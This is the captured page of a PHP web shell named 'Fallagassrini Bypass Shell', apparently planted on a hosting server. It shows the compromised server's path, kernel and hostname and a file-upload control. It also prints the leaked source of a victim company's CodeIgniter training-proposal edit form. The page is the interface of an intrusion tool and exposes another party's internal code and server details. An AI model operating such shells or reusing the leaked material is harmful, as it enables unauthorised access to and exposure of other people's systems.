? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Training/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Training/edit_training_proposal.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<div class="select-bar">
<label>
    <img src="<?=base_url()?>assets/images/backbutton.png" title="Back" class="clickimage" onclick="viewdata('training','viewintrainingsearch','search_training_proposal','view_training_proposal','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="25" height="25"  />
</label>
     <span class="heading">Updating training proposal</span>
</div>

<fieldset>
   <?php
        $attributes=array('id'=>'validateform','class'=>'customForm');
        echo form_open('training/addintraining/update_training_proposal/view_training_proposal/1',$attributes);
        $activities = $this->mastermodel->getdatas('activity','activity_id');
        $categories = $this->mastermodel->getdatas('expense_category','expense_category_id');
   ?>
       <ul>
           <li>
            <label for="data">Project</label>
            <div class="record_entry">
                <?=$this->mastermodel->getSingleFieldValue('activity','activity_name','activity_id',$viewinfo->activity_id);?>
            </div>
        </li>
        <li>
           <label for="data">Training Code</label>
             <div class="record_entry">
                <?php
                          echo $viewinfo->training_code;
                     ?>
             </div>
           
        </li>
        <li>
            <label for="data">Training Title</label>
             <?php
                  $data = array(
                  'name'        => 'training_title',
                  'id'          => 'training_title',
                  'class'       =>'required',
                  'value'       => $viewinfo->training_title
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">Training Date</label>
                 <?php
                      $data = array(
                      'name'        => 'training_date',
                      'id'          => 'training_date',
                      'class'       =>'required calfocus',
                      'value'       => $this->mastermodel->convertdatenormalformat($viewinfo->training_date)
                      );
                      echo form_input($data).form_error($data);
                 ?>
        </li>
         
        <li>
            <label for="data"> Trainer Name</label>
             <?php
                  $data = array(
                  'name'        => 'trainer',
                  'id'          => 'trainer',
                  'class'       =>'required',
                  'value'       => $viewinfo->trainer
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data"> Venue</label>
             <?php
                  $data = array(
                  'name'        => 'venue',
                  'id'          => 'venue',
                  'class'       =>'required',
                  'value'       => $viewinfo->venue
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">Remarks</label>
            <?php
             $data = array(
                  'name'        => 'remarks',
                  'id'          => 'remarks',
                  'value'       => $viewinfo->remarks
                  );
                  echo form_textarea($data).form_error($data);
            ?>
        </li>
        <li>
            <table class="sort" cellpadding="0" cellspacing="0" width="200px;">
                <tr>

                    <th>Expense Category</th>
                    <th>Description</th>
                    <th>Amount</th>

                    <th width="10%">
                        <input type="button" style="width:70px;" id="button2" value="Add More" class="addRow" title="Add Row"/>
                    </th>

                </tr>
                <?php
        $expense_details = $this->mastermodel->get_data('training_proposal_expense',$viewinfo->training_id,'training_proposal_id');
        $k=1;
        if(!empty ($expense_details))
        {
            foreach($expense_details as $list)
            {

        ?>
                <tr>
                      <td>
                          <select name="expense_category_id<?=$k;?>" id="expense_category_id<?=$k;?>">
                                <option value="">Select</option>
                                <?php
                                    foreach($categories as $explist)
                                    {
                                ?>
                                        <option value="<?=$explist['expense_category_id'];?>"<?php if($explist['expense_category_id']==$list['expense_category_id']){echo "selected";}?>><?=$explist['expense_category_name'];?></option>
                                <?php
                                    }
                                ?>
                            </select>
                      </td>
                      <td><textarea style="width:160px;" name="description<?=$k;?>"><?=$list['description'];?></textarea></td>
                      <td><input type="text" class="auto small" name="amount<?=$k;?>" value="<?=$list['amount'];?>"></td>
                        <td>
                          <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>

                <?php
                $k++;
                    }
                }
                else
                {
                ?>
                  <tr>
                      <td>
                          <select name="expense_category_id" id="expense_category_id">
                                <option value="">Select</option>
                                <?php
                                    foreach($categories as $list)
                                    {
                                ?>
                                <option value="<?=$list['expense_category_id'];?>"><?=$list['expense_category_name'];?></option>
                                <?php
                                    }
                                ?>
                            </select>
                      </td>
                      <td><textarea style="width:160px;" name="description"></textarea></td>
                      <td><input type="text" class="auto small" name="amount" ></td>

                      <td>
                          <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                      </td>
                    </tr>
                 <?php
                }
                ?>
            </table>
        </li>
        
        
         <li>
            <input type="hidden" name="resfunction" value="search_training_proposal"/>
             <input type="hidden" name="training_id" id="training_id" value="<?= $viewinfo->training_id?>" />
            <input type="hidden" name="tab_name" value="training_proposal"/>

            <label for="submit">&nbsp;</label>
            <button type="submit"  class="clickimage" onclick="addformdata('validateform')">Save</button>
        </li>
    </ul>
<?php echo form_close();?>
</fieldset>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net